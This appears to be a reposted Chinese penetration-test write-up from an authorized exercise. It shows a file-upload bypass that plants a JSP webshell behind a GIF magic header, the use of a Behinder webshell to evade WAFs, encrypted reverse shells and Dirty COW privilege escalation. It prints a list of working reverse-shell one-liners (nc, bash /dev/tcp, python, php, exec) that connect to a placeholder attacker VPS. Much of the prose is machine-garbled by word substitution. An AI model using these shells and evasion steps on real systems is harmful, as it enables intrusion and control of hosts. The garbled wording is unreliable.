连接jsp一句话小马记一次授权收集攻防练习训练更刺激了下

搜公众年夜众号：白帽子左一

前期事宜回顾：实战 | 记一次授权网络攻防演习训练（上）

建立据点

真是麻烦，整了这么久，才得到一个可用的上传功能而已，还不一定能上传 webshell，走一步看一步。

连接jsp一句话小马记一次授权收集攻防练习训练更刺激了下 GraphQL

在我看来，任意文件上传攻击应关注四个要素：找寻文件路径、指定文件扩展名、写入脚本代码、防 WAF 拦截。

找寻文件路径。
上传 webshell 后肯定要访问，势必得晓得文件写入路径，常日上传成功后，路径将回显在应答中，但该站并无回显，但好在它是个图片，以是，在页面右键即可查看文件路径：

同时，为了方便后续调试，我把查询文件路径的接口保留下来：

指定文件扩展名。
上传报文中，涉及文件扩展名的地方如下三处：

我得逐一验证哪个是影响做事端写入文件时用到的扩展名。

考试测验将第一处 fileName 域的 info.png 改为 info.jsp，确认写入文件名：

wow，这运气。

写入脚本代码。

接下来，我把上传报文中的图片数据更换为一行无害的 JSP 代码：

上传失落败，文件内容是唯一变更的地方，那么，我可以合理预测做事端要么检测了文件内容是否存在脚本代码，要么检测了文件头是否为图片类型。

验证是否检测了脚本代码。
我把这行 JSP 代码改为普通文本：

仍旧失落败，解释并非检测了恶意代码。

验证是否检测了文件头。

不同类型的文件都有对应的文件类型署名（也叫类型幻数，简称文件头），比如，PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A、GIF 为 47 49 46 38 37 61、JPG 为 FF D8 FF E0。

于是，我添加了 PNG 文件头后再次上传：

wowo，上传成功。
立即访问，确承认否解析：

500 缺点，不应该啊，就这么一行无害普通代码，怎么会导致做事端缺点呢？！

会不会 PNG 头中存在不可见字符，导致解析报错？

改成全是可见字符的 GIF 头试试：

确承认否正常解析：

呵呵，讲究！
换成 GIF 文件头可成功解析。

防 WAF 拦截。
接下来，我把无害 JSP 代码更换为命令实行的小马，成功上传、成功解析、成功实行命令：

哈哈，第七个洞，文件类型署名可绕过，导致任意文件上传 getshell。

我的内心开始放荡，抑制不住激动的心情按下了 F5，居然又出幺蛾子：

顺利写马、可以实行一次命令、刷新页面涌现禁止访问，这种征象，我疑惑 WAF 作祟，它创造流量中携带恶意行为后谢绝要求。

两年前，打破 WAF 我大概会用到这几种手腕：分块传输、畸型要求、转义序列、偏僻编码、TLS 滥用，而如今，划时期的冰蝎问世（只管它未开源），让我险些可以忽略 WAF 的存在。

上古时期的各种一句话、小马、大马早已成为各大 WAF 出厂默认封杀规则；传奇 webshell 管理客户端菜刀也年久失落修，明文流量毫无隐私可言；冰蝎，采取密钥变换手腕，将文本载荷转为二进制流，再进行加密传输，天生具备防流量监测的能力。

以是，我上传冰蝎马：

直接访问报错：

没紧要，冰蝎马未处理非常，不影响管理端连接：

现在，我可以随意实行命令：

管理文件：

题外话，关于上传漏洞，冰蝎流量监测、白名单扩展绕过，这有两点你可以理解下：

1. 冰蝎流量能逃过所有品牌的 WAF 监测么？险些是，唯一逃不过奇安信（原 360、原原网神）的天眼系统，冰蝎管理端与冰蝎马建立会话时须要获取动态密钥，这个过程中的要求与应答的两个报文存在特色，天眼的着力点在此（作者后续补充，此处为他见过有限的 WAF 品牌中，只有天眼能创造冰蝎的流量，其他大部份品牌未作验证）；

2. 任意文件上传攻击，碰着做事端扩展名白名单的场景，除了常规的解析漏洞手腕外，还可能关注本地文件包含漏洞（LFI），以及 HTTP 参数污染漏洞（HPP），特殊是 HPP，在打破白名单限定时，很有杀伤力。

系统提权

webshell 虽然授予我实行命令、管理文件的能力，但毕竟不是真正的 shell，无法实行交互式命令、无法掌握进程状态、无法补全命令等等，非常不利于提权操作，以是，必须反弹 shell。

通过冰蝎在目标上实行反弹命令：

VPS 监听：

等昏过去了都没见到 shell 回来，反弹 shell 失落败！
导致失落败的成分很多，履历来看，常见如下几类：反弹命令不存在、禁止出口流量、限定向外访问端口、流量审查。

验证是否反弹命令不存在。
我常用的几个反弹命令：nc/nc.openbsd/nc.traditional、bash/sh/dash、python/perl/PHP/ruby、exec。

用 nc 反弹，命令如下：

nc <your_vps> 1024 -e /bin/sh

某些目标的 nc 不支持 -e 参数，有两个办理思路，要么利用其他版本的 nc：

nc.traditional <your_vps> 1024 -e /bin/sh

要么合营命名管道进行反弹：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f

用 bash 反弹：

/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1

用 python 反弹：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用 PHP 反弹：

php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");'

用 exec 反弹：

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

在目标上查看干系命令是否存在：

看来除 PHP 外，其他反弹命令都可用，那么先前反弹失落败并非 bash 命令的缘故原由。

验证是否禁止出口流量。

某些目标在防火墙上限定了出口流量，禁止目标主动向外发起网络要求，我操持通过带外（Out Of Band）的办法进行验证。
大致逻辑是，在攻击者自己的 VPS 上监测某种协议的网络要求，在目标上用这种协议访问 VPS，若在 VPS 上看到该协议的要求日志，则可推断出目标许可出口流量。

为了减少其他成分滋扰，我习气选用无端口的协议进行出口流量的测试，ICMP 最纯挚。

你知道互联网上随时都有 ICMP 的密查，导致 VPS 看到的日志量非常大，以是，我指定 ping 的包的大小，这样方便过滤。

第一步，虽然我指定了 ping 包大小，但实际大小由系统确定，先在目标上实行 ping 命令，获取实际包大小：

我用 -s 选项指定包大小为 64 个字节，系统实际发送了 92 个字节，以 length 92 为关键字查找 ICMP 记录。

第二步，在 VPS 上监控 ICMP 日志：

第三步，在目标上再次实行 ping 命令：

第四步，在 VPS 上查看到大小为 92 的 ICMP 包：

经由以上四步，我确认目标许可出口流量。

验证是否限定向外访问端口。
某些目标限定访问外部端口，常见黑名单和白名单两种办法。

黑名单，比如，禁止目标机器向外访问 MSF 默认的 4444 端口；

白名单，比如，只许可向外访问 web 常见的 80 端口，把稳下，攻击端即便监听的 80 端口，getshell 的流量采取的也并非 HTTP 协议，而是普通的 socket，切勿与 HTTP 隧道 getshell 稠浊。

先前反弹失落败用的是 1024 端口，换个端口 2941 监听试试：

目标上用 HTTP 协议访问 VPS 的 2941 端口：

等待少焉，VPS 的并无 HTTP 记录，以是，疑惑采取白名单。

履历来看，端口白名单常日只许可向外访问 HTTP 做事的默认 80、HTTPS 做事的默认 443，于是，VPS 监听 443 端口，目标上访问 443，这时 VPS 上得到 443 端口的访问记录：

那么，我可以险些断定目标的确是用白名单机制限定了向外访问的端口号，个中预测出 443 端口在白名单范围内。

验证是否存在流量审查。

换成 443 端口后该当顺利反弹 shell，做事端的确也收到了 shell，但还没来得及实行任何命令，立时就就掉线了。
我预测做事端可能存在某种流量检测设备，以物理旁路、逻辑串联的办法接入在网络中，一旦创造恶意行为，分别向客户端和做事端发送 RESET 的 TCP 包，达到断开客户端和做事端连接的目的，表象类似传统堡垒机的防绕行机制。

流量审查，审查设备必定得到明文流量数据才行，要防审查自然想到加密流量。
以是，我不再大略地用 bash 来反弹 shell，而在此根本上，将原始流量用 openssl 加密，这样就能达到防流量审查的目的。

详细而言，第一步，在VPS 上天生 SSL 证书的公钥/私钥对：

第二步，VPS 监听反弹 shell：

第三步，目标上用 openssl 加密反弹 shell 的流量：

第四步，VPS 上成功获取加密的哑 shell：

现在，我得到的仅仅是个简陋的哑 shell，并非交互式 shell。
基于以下几个缘故原由，让我有强烈驱动力将哑 shell 转为交互式 shell：防止 ctrl-c 中断 getshell 会话、无法查看语法高亮、无法实行交互式命令、无法查看缺点输出、无法利用 tab 命令补全、无法操控 job、无法查看命令历史。

详细如下，第一步，在哑 shell 中实行：

$ python -c 'import pty; pty.spawn("/bin/bash")'

键入 Ctrl-Z，回到 VPS 的命令行中；第二步，在 VPS 中实行：

$ stty raw -echo$ fg

回到哑 shell 中；第三步，在哑 shell 中键入 Ctrl-l，实行：

$ reset$ export SHELL=bash$ export TERM=xterm-256color$ stty rows 54 columns 104

这样，我得到了功能完好的交互式 shell，比如，支持命令补全、语法高亮：

统统就绪，正式进入提权操作。

提权的手腕很多，比如，利用内核栈溢出提权、征采配置文件中的明文密码、环境变量挟制高权限程序、不屈安的做事、借助权能（POSIX capabilities）提权、sudo 误配、SUID 滥用等等。

我喜好快刀斩乱麻，将 linux-exploit-suggester-2 上传至目标后运行：

提示当前内核可能存在脏牛漏洞，上传本地编译好的脏牛 exp，实行后毫无波澜地拿到了 root：

虽然这个目标用内核漏洞成功提权，对我而言，只能算作运气好，在如今的网络安全生态下，运维职员已有足够的安全意识，安装系统补丁早已融入日常事情。

以是，我有必要分享一种内核漏洞之外的提权手腕，它的成功率非常高，并且不像内核提权那样可能导致系统挂起，它便是对系统完备无损的 sudo 误配提取手腕。

个人非常、十分、特殊喜好它，sudo 误配的一种利用手腕是，查看 home/ 目录下是否 .sudo_as_admin_successful 文件，若有则可以输入当前低权账号的密码直接 sudo su 切换为 root 用户，而在已经获取当前账号的系统环境的条件下，要拿到低权账号的密码，虽然有门槛，但也不是不可能（如，翻找各种配置文件）。

靶机 JIS-CTF-VulnUpload-CTF01 便是很好的一个案例。

首先，利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话：

接着，翻找文件找到其密码：

然后，创造 home/ 中存在 .sudo_as_admin_successful 文件：

末了，用 technawi 自己的密码切换为 root 用户：

就这样，成功提权！

说这么多，不是排名哪种提权手腕精良、哪种拙劣，能达到目的，适宜你思维模式的，便是最好的，你说呢！

故事尾声

到此，任务算完成了，全体过程很故意思，目标环境设有层层防御，但每道防线或多或少存在些小问题，多个小问题串起来，便成了黑客进入系统内部的攻击路径。

完全来说，全流程的攻击链包括信息搜集、漏洞利用、建立据点、权限提升、权限坚持、横向移动、痕迹打消等七步，虽然这个站点只经历了前四步，但也具有较强的代表性。

大略回顾下，大概经由以下关键步骤：

1. 密码找回功能处，图片验证码未刷新，导致可列举用户名，得到三个有效账号：nana、admin、liufei；